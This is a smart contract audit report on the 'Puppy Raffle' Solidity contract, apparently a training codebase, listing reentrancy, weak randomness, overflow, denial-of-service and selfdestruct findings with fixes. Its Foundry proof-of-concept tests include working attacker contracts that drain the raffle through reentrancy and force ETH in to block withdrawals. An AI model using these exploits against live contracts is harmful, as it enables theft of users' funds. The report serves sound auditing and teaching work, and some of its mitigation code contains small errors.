# Puppy Raffle Audit Report

Prepared by: Lhoussain Ait Aissa Lead Security Researcher:

# Table of contents

▶ Details

See table

# About LHOUSSAINE AIT AISSA

I am a dedicated Smart Contract Developer and Security Researcher with 2 years of hands-on experience in writing efficient and secure Solidity code. I possess strong expertise in auditing smart contracts to ensure robust security and functionality. I am seeking to leverage my technical skills and attention to detail to contribute to innovative blockchain projects within a dynamic team.

# Disclaimer

The LHOUSSAINE AIT AISSA team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

# Risk Classification

| | | **Impact** | | |
|---|---|---|---|---|
| | | High | Medium | Low |
| | High | H | H/M | M |
| Likelihood | Medium | H/M | M | M/L |
| | Low | M | M/L | L |

# Audit Details

**The findings described in this document correspond the following commit hash:**

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

### Scope

```
./src/
-- PuppyRaffle.sol
```

# Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

### Roles

- Owner: The only one who can change the `feeAddress`, denominated by the `_owner` variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the `players` array.

# Executive Summary

### Issues found

| Severity | Number of issues found |
|---|---|
| High | 3 |
| Medium | 4 |
| Low | 1 |
| Gas | 2 |
| Info | 6 |
| Total | 16 |

# Findings

### High

[H-1] Reentrancy attack in `PyppyRaffle::refund` allows entrant to drain raffle balance .

**Description:** the `PyppyRaffle::refund` function does not follow the CEI (Check , Effect , Interaction ) so as result , enable the participant to drain the contract balance .

In the `PyppyRaffle::refund` function,we first make an external call to the `msg.sender` address and only after making that external call do we update the `PyppyRaffle::players` array.

```
 function refund(uint256 playerIndex) public {

        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

@>        payable(msg.sender).sendValue(entranceFee);
@>        players[playerIndex] = address(0);

          emit RaffleRefunded(playerAddress);
    }
```

A player who has entred the raffle could have a `fallback`/`receive` function that calls the `PyppyRaffle::refund` function again and claim another refund . They could continue the cycle till the contract balance is drained .

**Impact:** All fees paid by raffle entrants could be stolen by the malicious participant .

**Proof of Concept:**

1. Users entres the raffle
2. Attacker sets up a contract with `fallback` function that call the`PyppyRaffle::refund`
3. Attacker entres the raffle
4. Attacker call `PyppyRaffle::refund` function from thier contract , draining the contract balance.

**Proof of Code**

Place the following into `test/PuppyRaffleTest.t.sol`

▶ Code

```
  function test_Reentrency_attack_in_refund() public  {
        address[] memory players2 = new address[](10);

        for(uint160 i= 0 ; i < 10 ; i++){
            players2[i] = address(i + 10);
        }

        puppyRaffle.enterRaffle{value: entranceFee * 10}(players2);
```

```
        ReentrencyAttacker attackerContrcat = new ReentrencyAttacker(puppyRaffle);
            address attackUser = makeAddr("attacker");
            vm.deal(attackUser,1 ether);

          uint256 starting_attacker_balance = address(attackerContrcat).balance;
          uint256 starting_contrcat_balance =  address(puppyRaffle).balance;

         // attack
          vm.prank(address(attackUser));
          attackerContrcat.attack{value : entranceFee }();


        console.log("starting_attacker_balance   : ",starting_attacker_balance);
        console.log("starting_contrcat_balance   : ",starting_contrcat_balance);

        console.log("ending_attacker_balance     :
",address(attackerContrcat).balance);
        console.log("ending_contrcat_balance     :
",address(puppyRaffle).balance);

    }
```

And this contract as well.

```
contract ReentrencyAttacker {

    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor (PuppyRaffle _puppyRaffle){

        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();

    }

    function attack() public payable{
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value : entranceFee }(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    receive() external payable{

        if(address(puppyRaffle).balance >= entranceFee){

            puppyRaffle.refund(attackerIndex);
```

```
        }
    }
}
```

**Recommended Mitigation:** To prevent this , we should have the `PyppyRaffle::refund` function update the `PyppyRaffle::players` array before makig the external call . Additionally , we should move the event emission up as well .

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

+        players[playerIndex] = address(0);
+        emit RaffleRefunded(playerAddress);

        payable(msg.sender).sendValue(entranceFee);

-        players[playerIndex] = address(0);
-        emit RaffleRefunded(playerAddress);
    }
```

## [H-2] Weak randomness in `PyppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy.

**Description:** Hashing `msg.sender` and `block.timestamp` , `block.defficulty` together create a perdictable find number , A predictable numer is not a good random number. malicious users can malipulate these value or know them ahead of time to choose the winner of the raffle themselves .

**Note** This additionally means users could front-run this function and call `refund` if they see they are not the winner.

**Impact:** Any user can influence the winner of the raffle , winning the money and selecting the `rarest` puppy . Making the entire raffle worthless if it becames a gas war as who wins the raffles .

**Proof of Concept:**

1. Validator can know ahead of time `block.timestamp` and `block.defficulty` and use that to predict whe/how to participant . See the solidity blog on prevrando. `block.defficulty` was recently replace with prevrando.
2. USer can mine/manipulate their `msg.sender` value to result in thir address being used to generate the winner .

3. Users can revert the `PyppyRaffle::selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a [well-documented attack-vector](https://betterprogramming.pub/how-to -generate-truly-random-numbers-in-solidity-and-blockchain-9ced6472dbdf) in the blockchain space .

**Recommended Mitigation:** Consider using a cryptographically provable random number generator such as Chainlink VRF .

### [H-3] Integer Overflow of `PyppyRaffle::totalFees` , loses fee

**Description:** In solidity version prior `0.8.0` integer were subject to integer overflow.

```
 uint64 myVar = type(uint64).max
//185693245567855

myVar = myVar + 1

// will be  0
```

**Impact:** In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

**Proof of Concept:**

1. We first conclude a raffle of 4 players to collect some fees.
2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well.
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

▶ Proof Of Code

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a second
raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players active!");
        puppyRaffle.withdrawFees();
    }
```

**Recommended Mitigation:** There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are
currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

# Medium

## [M-1] finding a double for loop in `PyppyRaffle::entreRaffle` causing a denail of service attack, more gas expensive for new players

**Description:** The `PyppyRaffle::entreRaffle` function looping through the `players` array to check for duplicates causing a denail of service attack so that make the game more gas efficient for the new players , espacial if the length of the players array so loger . the gas will be grow with every checking double addresses .

```
@>        //@audit  Denial Of Service (DOS)

        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
            }
        }
```

**Impact:** The gas cast for raffle entrants will greatly increase as more players entre the raffe .

An attack might make the `PyppyRaffle::entrents` array so big ,that no one else enters , guarenteenig themselves the win .

**Proof of Concept:** ( Proof Of Code )

if we have 2 sets of 10 players enter , the gas costs will be such :

- 1st 10 players =~ 289440
- 2st 10 players =~ 399234

▶ POC

```
 function test_The_Denial_Of_Service_Attack() public {

        vm.txGasPrice(1); // set the gas price to 1

        address[] memory players = new address[](10);

        for(uint160 i= 0 ; i < 10 ; i++){
            players[i] = address(i);
        }

        // How mutch cost in the first time ?

        uint256 starting_gas = gasleft();

        puppyRaffle.enterRaffle{value: entranceFee * 10}(players);

        uint256 ending_gas = gasleft();

        uint256 first_User_gas = ( starting_gas - ending_gas) * tx.gasprice;



        address[] memory players2 = new address[](10);

        for(uint160 i= 0 ; i < 10 ; i++){
            players2[i] = address(i + 10);
        }

        // How mutch in the second time ?
        uint256 second_starting_gas = gasleft();

        puppyRaffle.enterRaffle{value: entranceFee * 10}(players2);

        uint256 second_ending_gas = gasleft();

        uint256 second_User_gas = ( second_starting_gas - second_ending_gas) *
tx.gasprice;


        console.log(" first_User_gas  : " ,first_User_gas);
        console.log(" second_User_gas : " , second_User_gas );
        assert(first_User_gas < second_User_gas);
    }
```

**Recommended Mitigation:**

Here few step to solve the issue :

1. Consider allowing duplicates . Users can make new wallet addresses anyways .

2. Consider using a mappings to check for duplicates . This would allow constant time lookup of whether a user has already entered .

▶ POC

```
+ mappings(address => uint256) public addressToRaffleId;
+ uint256  public raffleId = 0;
    .
    .
    .
    .

    function enterRaffle(address[] memory newPlayers) public payable {

        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must
send enough to enter raffle");

        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);

+           addressToRaffle[newPlayers[i]] = raffleId;

        }

-       // Check for duplicates
+       //  Check for duplicate only from the new players
+        for (uint256 i = 0; i < players.length - 1; i++) {
+         require(addressToRaffle[newPlayers[i]] != raffleId, "PuppyRaffle:
Duplicate player");


-        for (uint256 i = 0; i < players.length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
-            }
-        }

        emit RaffleEnter(newPlayers);
    }

    .
    .
    .
    .
    function selectWinner() external {
+        raffleId++;
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle:
Raffle not over");
```

### [M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

**Description:** The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
    function withdrawFees() external {
@>      require(address(this).balance == uint256(totalFees), "PuppyRaffle: There
are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

**Impact:** This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

**Proof of Concept:**

1. `PuppyRaffle` has 8 ether in it's balance, and 800 totalFees.
2. Malicious user sends 2 ether via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

write this following test in `PuppyRaffle.t.sol` :

▶ PoC

```
function test_withdrowfees_attack() public playersEntered{

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();

        SelfDestructAttack attackContrcat  = new SelfDestructAttack(puppyRaffle);
            address attackUser = makeAddr("attacker");
            vm.deal(attackUser, 2 ether);
            uint256 balance1 = address(puppyRaffle).balance;
            vm.startPrank(attackUser);
            (bool seccu,) = payable(address(attackContrcat)).call{value: 2 ether}
("");

            attackContrcat.attack();
            vm.stopPrank();
            uint256 balance2 = address(puppyRaffle).balance;

            console.log("balan1" , balance1);
            console.log("balan2" ,balance2 );
```

```
            assert(balance1 < balance2);
            vm.prank(puppyRaffle.feeAddress());
            vm.expectRevert("PuppyRaffle: There are currently players active!");
            puppyRaffle.withdrawFees();


    }
```

add this as well :

```
contract SelfDestructAttack {

    PuppyRaffle puppyRaffle;

    constructor(PuppyRaffle _puppyRaffle){

        puppyRaffle = PuppyRaffle(_puppyRaffle);

    }

      function attack() external payable {

       address payable addr = payable(address(puppyRaffle));
       selfdestruct(addr);

    }
    receive() external payable{}

}
```

**Recommended Mitigation:** Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
    function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "PuppyRaffle: There
are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

## [M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

**Description:** In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle:
Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle");

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender,
block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~`18` ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

**Impact:** This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

**Proof of Concept:**

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

**Recommended Mitigation:** Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
```

```
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle:
Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

### [M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

**Description:** The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

**Impact:** The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

**Proof of Concept:**

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

**Recommended Mitigation:** There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

## Low

### [L-1] `PappyRaffle::getActivePlayerIndex` return 0 for non-existent player and for player at index 0 , causing a player at index 0 to incorrictly think they have not entered the raffle

**Description:** If the player is in the `PappyRaffle::players` at index 0, this will return 0 , but according to the natspac , it will also return 0 if the player is not in the `PappyRaffle::players` array.

```
    /// @return  the index of the player in the array, if they are not active, it
returns 0
    function getActivePlayerIndex(address player) external view returns (uint256)
{

        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }

        return 0;
    }
```

**Impact:** A player at index 0 may incorrictly think they have not entered the raffle , and attempt to enter the raffle again , wasting gas.

**Proof of Concept:**

1. User enters the raffle , they are the first entrants
2. `PappyRaffle::getActivePlayerIndex` return 0
3. User thinks they have not entered the raffle correctly due to the function documentation

```
    function testGetActivePlayerIndexManyPlayers() public {
        address[] memory players = new address[](2);
        players[0] = playerOne;
        players[1] = playerTwo;
        puppyRaffle.enterRaffle{value: entranceFee * 2}(players);

        // playerOne at index 0

        assertEq(puppyRaffle.getActivePlayerIndex(playerOne), 0);

    }
```

**Recommended Mitigation:**

there is a deferent way to solve this issue :

1. If the player not in the `PappyRaffle::players` array , it will revert (Recommended).
2. Reserve the 0th position for any competition.
3. Return `int256` where the function return -1 if the player is not active (Recommended).

## Gas

### [G-1] Unchanged state veriable should be declared constant or immutable .

Reading from storage is much expensive than reading from constant or immutable .

Instances :

- `PyppyRaffle::raffleDuration` should be `immutable`
- `PyppyRaffle::commonImageUri` should be `constant`
- `PyppyRaffle::rareImageUri` should be `constant`
- `PyppyRaffle::legendaryImageUri` should be `constant`

### [G-2] Storage veriable in loop should be catch

EveryTime you call `players.length` , you reading from storage , as opposed in memory witch is more gas effecient .

```
+        uint256 playersLength =  players.length ;
-        for (uint256 i = 0; i < players.length - 1; i++) {
+        for (uint256 i = 0; i < playersLength- 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < playersLength; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
            }
        }
```

## Informational / Non-Critical

### [I-1] : Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.7.0;`, use `pragma solidity 0.7.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.1;
```

### [I-2] : Using an outdated version of Solidity is not recommeneded

Please use the newer version `0.8.0`

### [I-3] : Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 67

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 176

```
        previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 196

```
        feeAddress = newFeeAddress;
```

### [I-4] `PappyRaffle::selectWinner` does not following CEI , wich is not best practice.

It' best to keep the code clean and follow the CEI ( Checks , Effects , Interactions ).

```
-       (bool success,) = winner.call{value: prizePool}("");
-       require(success, "PuppyRaffle: Failed to send prize pool to winner");

        _safeMint(winner, tokenId);

+       (bool success,) = winner.call{value: prizePool}("");
+       require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

### [I-5] Usig "magic" numbers is descouraged

It can coumfusing to see numbers literals in codebase , and it's much more readable if the numbers are givedn a name.

Exemples :

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead , You could use :

```
uint256 public constant PRISE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE        = 20;
uint256 public constant POOL_PERCENTAGE       = 100;
```

### [I-6] _isActivePlayer is never used and should be removed

**Description:** The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```